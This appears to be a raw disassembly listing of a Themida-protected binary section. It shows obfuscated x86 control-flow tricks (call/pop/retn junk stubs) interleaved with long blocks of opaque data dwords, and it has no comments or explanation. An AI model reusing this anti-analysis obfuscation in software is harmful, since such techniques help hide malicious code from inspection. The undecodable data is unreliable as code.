		cmp	dword ptr [ebp+61508ADh], 7D0h
		jbe	loc_5BA815
		mov	[ebp+6151DFDh],	esi
		mov	ebx, [ebp+6151079h]
		push	0
		push	ebp
		call	sub_5BA656
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA656	proc near		; CODE XREF: Themida_:005BA64Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BA656	endp

; ---------------------------------------------------------------------------
		dw 0A514h
		dd 82102AAEh, 2B3672A0h, 152DA9BDh, 0E38106h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 487CC351h, 0E871C75Ah, 11h, 8DD14A5Dh, 14DD77FFh
		dd 6A40004Eh, 3BE73049h, 0F195894Ah, 5F061514h,	12E9h
		dd 0AED9F800h, 0BD9F56h, 0F8C2D319h, 136C6E34h,	0BE72E99h
		dd 0D6850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0F49FC356h,	14DBB6F9h
		dd 3EA10E7Ch, 0A26BD83h, 0F000619h, 2E84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 291502E5h, 152ED595h, 0ABE906h, 57BE0000h, 0C744FD3Ch
		dd 190A2685h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 711E190h, 52EAAA3Bh, 5880Fh
		dd 0B9BE0000h, 5F7FA118h, 11E9h, 8621A800h, 5DE7626Dh
		dd 8B25FD73h, 0CDE64412h, 52E90167h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0D318C357h, 0FD8D2F53h, 2685C72Fh, 6190Ah, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 4935C357h, 0C8E326C9h, 0BF0FA01Ah, 799D8DF1h
		dd 0F8061510h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 63EACDC3h
		dd 0E5E399FEh, 8174666Bh, 67442EEFh
		db 3
; ---------------------------------------------------------------------------


loc_5BA815:				; CODE XREF: Themida_:005BA639j
		mov	bx, ds
		mov	[ebp+6152AEDh],	esi
		test	bl, 4
		jz	loc_5BA88C
		push	0
		push	ebp
		call	sub_5BA832
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA832	proc near		; CODE XREF: Themida_:005BA82Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5BA832	endp

; ---------------------------------------------------------------------------
		dw 1452h
; ---------------------------------------------------------------------------
		ja	loc_5BA850
		xor	[ebp+6151195h],	esi


loc_5BA850:				; CODE XREF: Themida_:005BA844j
		or	[ebp+6150CCDh],	ebx
		call	dword ptr [ebp+61518A1h]
		xor	esi, [ebp+6150D19h]
		push	eax
		mov	di, 0F47Ah
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5BA875
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA875	proc near		; CODE XREF: Themida_:005BA86Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BA875	endp

; ---------------------------------------------------------------------------
		or	cl, [ecx+1520CD85h]
		push	es


loc_5BA88C:				; CODE XREF: Themida_:005BA821j
		jmp	loc_5BAC7E
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BA89C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA89C	proc near		; CODE XREF: Themida_:005BA894p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5BA89C	endp

; ---------------------------------------------------------------------------
		dd 0EB63AD3Eh, 0A36B7DAh, 0B58BC8C4h, 6151111h,	0C78100B0h
		dd 32B7D95Eh, 0B50B70E6h, 6152FFDh, 19820Fh, 14E90000h
		dd 0E8000000h, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 0B1F39B5Bh
		dd 0E4B35DA7h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 66CFD25Eh, 1A68DE81h
		dd 6AD8B60Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 9F6DC356h, 5810Fh, 0FDBE0000h
		dd 0BA1D7E2Eh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	10C35545h, 0DB116D8Fh, 0CA29B0C9h, 41B52BB3h, 8B061502h
		dd 1504A1BDh, 6AC38B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0ADCEC350h,	8B92CD73h
		dd 150BF1BDh, 4E8C106h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 29C35040h, 0E4D78166h, 81B5897Fh, 66061509h
		dd 0CE8E2F7h, 0A9000000h, 0C1E35500h, 6F2B636Dh, 5EB4530Ah
		dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0DBB90AC3h, 4FC681D1h, 50272F1Bh,	0DEF699BEh
		dd 241C8976h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	60C35646h, 2A7AB1DCh, 0CBEA5A4h, 0ADB5FF64h, 0BE061508h
		dd 73CBAFD2h, 2E2195FFh, 5E500615h, 6A00B0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F1BED0C3h
		dd 0EBBF66F9h, 6A70E6C9h, 3E85700h, 20000000h, 895FC35Fh
		db 7Ch,	24h, 4
; ---------------------------------------------------------------------------


loc_5BAA77:				; DATA XREF: Themida_:0057AAB8o
		add	dword ptr [esp+4], 1Ah
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 0F6A0h
		dd 3E1106ABh, 8B71E4F1h, 15037DBDh, 0F613C06h, 1E583h
		dd 0F18B6600h, 22D1BD8Bh, 0B60F0615h, 6820FD8h,	81000000h
		dd 0D1A266E6h, 6BA43h, 9D290000h, 6150371h, 2950C38Bh
		dd 1511499Dh, 0E8C15F06h, 0BD316004h, 6150E09h,	12E960h
		dd 0EA90000h, 8B6DB9A4h, 839985Ah, 35D94156h, 96E1CF45h
		dd 61619AB1h, 66E2F766h, 66BBE681h, 6AD82Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8334FBC3h
		dd 58BCA0ECh, 2F4D9D89h, 0D82B0615h, 158880Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0BF3C93C3h, 0B2E7C78h, 7B9h,	0C7816600h, 0C1835D4Bh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 1BC91456h, 0D93BF18Bh, 100860Fh,	0BD330000h
		dd 61510ADh, 6AD98C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 800AC356h, 0F55F37Fh
		dd 681h, 850F00h, 0F6000000h, 840F04C1h, 8Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 65C35040h, 0F463688Fh
		dd 95FFD91Dh, 61518A1h,	12E9h, 24B00E00h, 97144478h, 374640CCh
		dd 8C165285h, 668B310Eh, 665BF78Bh, 0C32BF08Bh,	0A6E78166h
		dd 8343DD3h, 860F0000h,	32h, 0A221BE66h, 61E9h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0E026F4D6h, 1EF9CCDEh, 28D5BE3Eh, 0C08B0B6Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E7C35343h, 20333945h
		dd 0E88CB8ABh, 68E0Fh, 95290000h, 6150A8Dh, 6925E681h
		db 29h,	6Fh
; ---------------------------------------------------------------------------


loc_5BAC7E:				; CODE XREF: Themida_:loc_5BA88Cj
		mov	eax, ebx
		mov	ebx, eax
		jmp	loc_5BAC9A
; ---------------------------------------------------------------------------
		db 0A5h
		dd 71F3710h, 3350F0A9h,	0B30C7B29h, 0B35A4CFBh
		db 0E9h, 2Dh
; ---------------------------------------------------------------------------


loc_5BAC9A:				; CODE XREF: Themida_:005BAC82j
		mov	dword ptr [ebp+6152715h], 30081FD3h
		movsx	esi, di
		mov	eax, eax
		call	sub_5BACBB
		or	dl, [esi-2Dh]
		adc	[ecx], eax
		pop	ecx
		cmp	esi, [edx+edx-7E46EF79h]

; =============== S U B	R O U T	I N E =======================================



sub_5BACBB	proc near		; CODE XREF: Themida_:005BACA9p

; FUNCTION CHUNK AT 005BAD32 SIZE 0000001C BYTES

		pop	edi
		cmp	dword ptr [ebp+61508ADh], 7D0h
		jnz	loc_5BAD32
		push	0
		push	edx
		call	sub_5BACD7
		and	[edx-3Dh], bl
sub_5BACBB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BACD7	proc near		; CODE XREF: sub_5BACBB+14p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BACD7	endp

; ---------------------------------------------------------------------------
		db 74h
		dd 0BB0EB692h, 0E9A31930h, 11h,	7E4E2AC4h, 4822E508h, 11ED6C30h
		dd 0F1E185Bh, 0AD85FFDAh, 6A061508h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FE7FC351h
		dd 53C9BC9Dh, 0BF66337Dh
		db 5, 0AFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BACBB


loc_5BAD32:				; CODE XREF: sub_5BACBB+Bj
		push	dword ptr [ebp+61508ADh]
		sub	si, 3090h
		call	dword ptr [ebp+6152E21h]
		push	0
		push	eax
		call	sub_5BAD4E
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5BACBB

; =============== S U B	R O U T	I N E =======================================



sub_5BAD4E	proc near		; CODE XREF: sub_5BACBB+8Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BAD4E	endp

; ---------------------------------------------------------------------------
		dw 5B2Eh
; ---------------------------------------------------------------------------
		movsx	edi, di
		nop
		or	esi, [ebp+615007Dh]
		mov	esi, [ebp+6150899h]
		xor	[ebp+6150C6Dh],	ebx
		push	0
		push	eax
		call	sub_5BAD81
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BAD81	proc near		; CODE XREF: Themida_:005BAD79p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BAD81	endp

; ---------------------------------------------------------------------------
		db 30h,	97h, 58h
; ---------------------------------------------------------------------------
		cmc
		jmp	loc_5BADAC
; ---------------------------------------------------------------------------
		dw 0BC60h
		dd 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
; ---------------------------------------------------------------------------


loc_5BADAC:				; CODE XREF: Themida_:005BAD95j
		xor	si, 3459h
		push	0
		push	ebp
		call	sub_5BADBC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BADBC	proc near		; CODE XREF: Themida_:005BADB4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5BADBC	endp

; ---------------------------------------------------------------------------
		cmpsb
		ja	loc_5BADEE
		jno	loc_5BADE2
		movsx	esi, di
		mov	[ebp+6150AC5h],	esi


loc_5BADE2:				; CODE XREF: Themida_:005BADD3j
		pusha
		pusha
		popa
		add	[ebp+6151D1Dh],	ecx
		mov	cl, 0B7h
		popa


loc_5BADEE:				; CODE XREF: Themida_:005BADCDj
		mov	edi, ecx
		push	0
		push	ebx
		call	sub_5BADFB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BADFB	proc near		; CODE XREF: Themida_:005BADF3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5BADFB	endp

; ---------------------------------------------------------------------------
		db 82h
		dd 42089557h, 38A0F01h,	0F000000h, 6AFAB7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0E783DDC3h
		dd 6CCC8354h, 14E8h, 81785700h,	67DFD10Ch, 11A55943h, 858510C3h
		dd 474D31F8h, 0F7F4BECCh, 895F6EBAh, 15187D8Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F963DB43h, 0BD8BBC7Bh, 6152325h, 0FFF76EE9h, 6D8589FFh
		dd 6606150Ah, 40FFE781h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B68EBC3h, 151D61BDh
		dd 104EB06h, 8B000000h,	152FD9B5h, 0F18B6606h, 2773BF66h
		dd 279D858Dh, 0DE810615h, 0BB51B02h, 0E83BE50h,	48957A7h
		dd 0B8BE6624h, 6A006ACFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0EA69C350h,	55512467h
		dd 0FE2BF3Ah, 138Dh, 0EE900h, 0BC8F0000h, 42980DC3h, 34AD49F1h
		dd 7D47248Dh, 0BD8B006Ah, 6151A31h, 1652858Dh, 6A0619h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BE041C3h, 151501BDh, 5C08306h, 88C0Fh, 89520000h, 151A059Dh
		dd 82BF5F06h, 50265A38h, 89F38B66h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C51EAEC3h
		dd 66E0306Ch, 6AE779BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 11BEF66Ah, 8B135FC6h
		dd 151DC1B5h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9C38C356h, 1BBE1AC6h
		dd 0EE745FC6h, 267995FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0F28EB1C3h, 8D0F4DD3h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+6189C15h]
		push	0
		push	ecx
		call	sub_5BB029
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB029	proc near		; CODE XREF: Themida_:005BB021p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BB029	endp

; ---------------------------------------------------------------------------
		push	cs
		rcr	byte ptr [edi+20h], cl
		daa
		aad	0FFh
		ror	dword ptr [ebx+151CE5BDh], cl
		push	es
		inc	dword ptr [ebp+6151535h]
		push	0
		push	eax
		call	sub_5BB058
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB058	proc near		; CODE XREF: Themida_:005BB050p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5BB058	endp

; ---------------------------------------------------------------------------
		dd 63D26A1Bh, 45BD8BA6h, 60061528h, 29DB503h, 858B0615h
		dd 6150529h, 836E961h, 0E80000h, 5D000000h, 165CED81h
		dd 0E9600619h, 6, 9339E5D9h, 0B70F374Ah, 0BD8161D7h, 61508ADh
		dd 7D0h, 146860Fh, 8B660000h, 699D8BF3h, 89061511h, 15177585h
		dd 0E38106h, 6A000001h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0BA59C355h,	251AE799h
		dd 11B529E2h, 0B061525h, 0BA850FDBh, 0FC000000h, 1490BD83h
		dd 0F000619h, 5184h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4D0B257Dh, 5E9D809h, 12000000h
		dd 76053A1Bh, 96E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C06E8093h, 85C74F5Ah
		dd 6191490h, 1,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	1EC35040h, 29418D89h, 44E90615h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 672EC352h, 4FC60B68h, 81F8F6AAh, 26F7BBE6h, 9085C711h
		dd 61914h, 60000000h, 11F9B589h, 0F530615h, 88h, 8D615A00h
		dd 1511699Dh, 9919BF06h, 23813590h, 0FFFFFEFFh,	619D3160h
		dd 0E8061500h, 0Ch, 9E56DFFAh, 2F527473h, 926EA2B2h, 61585FB5h
		dd 6ADB8C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9F9C355h, 0Dh, 7C3DD53Bh, 143A2881h
		dd 83A89E7Dh, 4C3F6C0h,	5A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BAD48C3h
		dd 151799B5h, 1C860F06h, 0E8000000h, 14h, 0EA82423Bh, 2E1EE9C2h
		dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0FF5F5F56h, 1518A195h
		dd 61D8BE06h, 8B9075B6h, 5E5050F9h, 0FA8B6690h,	42DE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 359F5E63h, 0CE8166ABh, 8B66318Bh, 6A00B0FEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0B893C352h, 0A1F0C024h, 0B8EE8166h, 6A70E645h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 364C353h,	0BD8B71E4h, 6152D99h, 0E9D8B60Fh
		dd 0Dh,	0FF87F732h, 0DC1D4981h,	0F233235Ch, 6BA86h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 772C5AC3h, 0A6AD1300h, 0C99501BDh, 8B061506h, 0DDB589C3h
		dd 0C106152Ah, 6A04E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4FA99CC3h, 0F53C6D7h, 683h, 319D2900h
		dd 6606150Dh, 0BD8BE2F7h, 6150D81h, 6AD82Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 79589BC3h
		dd 48B0Fh, 60560000h, 66505F61h, 895641BEh, 6A241Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 6E1DD3C3h, 0C4D450BBh, 0B5FF1862h, 61508ADh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6FC35747h, 2195FF2Eh
		dd 6A06152Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 8A55C350h, 27445970h, 0C7CC2C89h
		dd 0FE9h, 0E62CBB00h, 0D23B0F65h, 417A36Ah, 0EFF3B9B2h
		dd 0BF0F00B0h, 170E6F9h, 15219185h, 6A71E406h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9D11C352h, 500FF465h, 0BE9h,	15B93C00h, 2A986529h, 0B4FD50DAh
		dd 830F613Ch, 232h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 7EC35545h, 0F6BE39CEh, 310AB1ABh, 1517358Dh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	57C35545h, 81669AEDh, 0BA2550DEh, 6, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 6AC38B3Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 24F3C352h, 6185019Dh, 0C1061505h,	0BF0F04E8h
		dd 91B58BF2h, 66061525h, 8D89E2F7h, 6150AA9h, 2175B58Bh
		dd 0D82B0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0ADC35242h, 7C4F48F7h, 6A58C93Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1DCDC355h
		dd 0A1BD8BB8h, 2B06150Ah, 2F880FD8h, 66000001h,	0B9EE03BEh
		dd 7, 0DF5B531h, 0C1830615h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E4B04E04h
		dd 0F28B2C82h, 860FD93Bh, 0F2h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 5FC35747h, 2286CCDDh, 3D95892Bh
		dd 66061521h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 4B2D08C3h, 0B58B1832h, 6152469h
		dd 0F04C1F6h, 9184h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FFA527F0h, 1518A195h
		dd 5BD8906h, 5B061525h,	0E880Fh, 89600000h, 1510F5B5h
		dd 6D8D8B06h, 61061521h, 343DC32Bh, 0F000008h, 4586h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 93CA09CFh, 179DB58Bh, 81660615h, 0E9873FEFh,	1Eh, 11E9h
		dd 0BA8B0D00h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0C08B0B67h
		dd 2D21BD8Bh, 0C38B0615h, 8166D88Bh, 0C7B8D1E6h, 15107985h
		dd 427B1506h, 0FC67BE5Bh, 0C08B5561h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 57C35646h, 219A183h, 0B58BCD41h
		dd 6150BC9h, 8ADBD81h, 7D00615h, 850F0000h, 5Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C9C35545h, 353A2B10h
		dd 83B08358h, 6830F88h,	81000000h, 882DC1CFh, 0AD85FF38h
		dd 6A061508h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 3087C357h, 0BB57BFF5h,	0B5FF41ACh
		dd 61508ADh, 54BEBF66h,	2E2195FFh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BE2A94C3h
		dd 75848EABh, 958950EBh, 615054Dh, 0BF66905Eh, 6AE335h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 526818C3h, 8D89523Bh, 6152795h, 13E95Eh, 0B9A40000h
		dd 985A8B6Dh, 41560839h, 0CF4535D9h, 71E796E1h,	57006A8Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 3F743E4Ah, 5DBF662Eh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0D3DB537Fh, 0FF2EE04h
		dd 218Dh, 28C0F00h, 60000000h, 14E961h,	756E0000h, 7426501Dh
		dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 840FC61Bh, 7, 8E0Fh
		dd 6AF90000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 2E82C352h, 357E459Ah, 71858944h, 66061533h, 0AD04C781h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 24C35545h
		dd 5E9F8h, 2CE90000h, 0E92E012Ch, 0FFFFF7CAh, 6AC18Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 676AFEC3h, 0B50980A4h, 9E8h,	0BC386D00h, 0BBA835Ah
		dd 0BD335EE8h, 6151511h, 0FE95Eh, 1E440000h, 1E4DDE83h
		dd 7938202Ah, 5B4EF101h, 104EBDFh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DEE3C357h, 53BC512Dh, 2F2DB58Bh, 235F0615h,	150699BDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0D0A4F7A9h, 1880FB6h, 0F5000000h, 279D858Dh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 1E571C3h,	6657C9A5h, 1102CE81h, 5660505Eh
		dd 0CE8h, 448DD400h, 0F274D38Bh, 41A19B51h, 525E5EF2h
		dd 310F5250h, 615A585Ah, 29240489h, 15098195h, 859D8906h
		dd 6A06150Ah, 59858900h, 89061524h, 15215DB5h, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0E532C357h, 0C2858D84h, 0BF061920h, 4475E8EEh
		dd 6A05C083h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 4C9BC357h, 0FF48877Ah,	5050FC98h
		dd 0F5E5752h, 66525031h, 0F4A4FBEh, 5A585A31h, 24048958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BFC35242h
		dd 0B665E7FAh, 66538EBFh, 815EFA8Bh, 6330AAD6h,	1006A2Ah
		dd 1510C985h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 9A37C357h, 46642E44h
		dd 0FFF7BF0Fh, 15267995h, 0DEE8106h, 37B7CC3h, 1510FDBDh
		dd 159D8D06h, 0F06189Ch, 0B83h,	6E900h,	0E1BA0000h, 69F9119Bh
		dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 59B9F8C3h, 0A42D8383h, 895A0556h,	150C51B5h
		dd 3585FF06h, 0F061515h, 83h, 7FCE900h,	0E80000h, 5D000000h
		dd 20CCED81h, 6A0619h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 16E434C3h, 0BD092ADEh, 6151D71h
		dd 8ADBD81h, 7D00615h, 860F0000h, 147h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 67C35747h, 23E7A812h
		dd 29F98B66h, 15161D95h, 0E59D8B06h, 2B061515h,	152FB9BDh
		dd 0E38106h, 81000001h,	11F1FBD6h, 0FDB0B48h, 7485h, 0F9BF0F00h
		dd 1EDCBD83h, 0F000619h, 2D84h,	0FB8B6600h, 88E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EBA7DF11h, 5A59D89h, 85C70615h, 6191EDCh, 1, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 34C35545h, 9FF57904h
		dd 32E99702h, 8B000000h, 152A85BDh, 0DC85C706h,	6191Eh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 185C351h, 54ED345h, 0E59D8D02h
		dd 6A061515h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0B84EC351h, 0AEE5BC59h, 0FF23816Ah
		dd 6AFFFFFEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0EDECC353h, 0DDDB0591h, 0FC44E90h
		dd 688h, 0A9BD8B00h, 66061501h,	6ADB8Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C3F621C3h
		dd 2C840F04h, 66000000h, 88C2DF81h, 0A195FFF8h,	8B061518h
		dd 1522F5B5h, 0F38B9006h, 0AE950h, 21D00000h, 86A0161Eh
		dd 0CB54EFBEh, 0E9858990h, 0E9061533h, 409h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 79C35040h, 9965E033h
		dd 684AFAB8h, 0FE8h, 72F6E900h,	82C654BCh, 51EFE146h, 29AD1C0Eh
		dd 10E9h, 0E2CD4300h, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h
		dd 0B05EB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0C5C35040h, 59A77D5Fh, 6DBD8B71h, 0E6061516h, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 19C8F836h, 71E4568Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0CC35242h, 0FFA8BC3h,	0C8Bh, 6830F00h
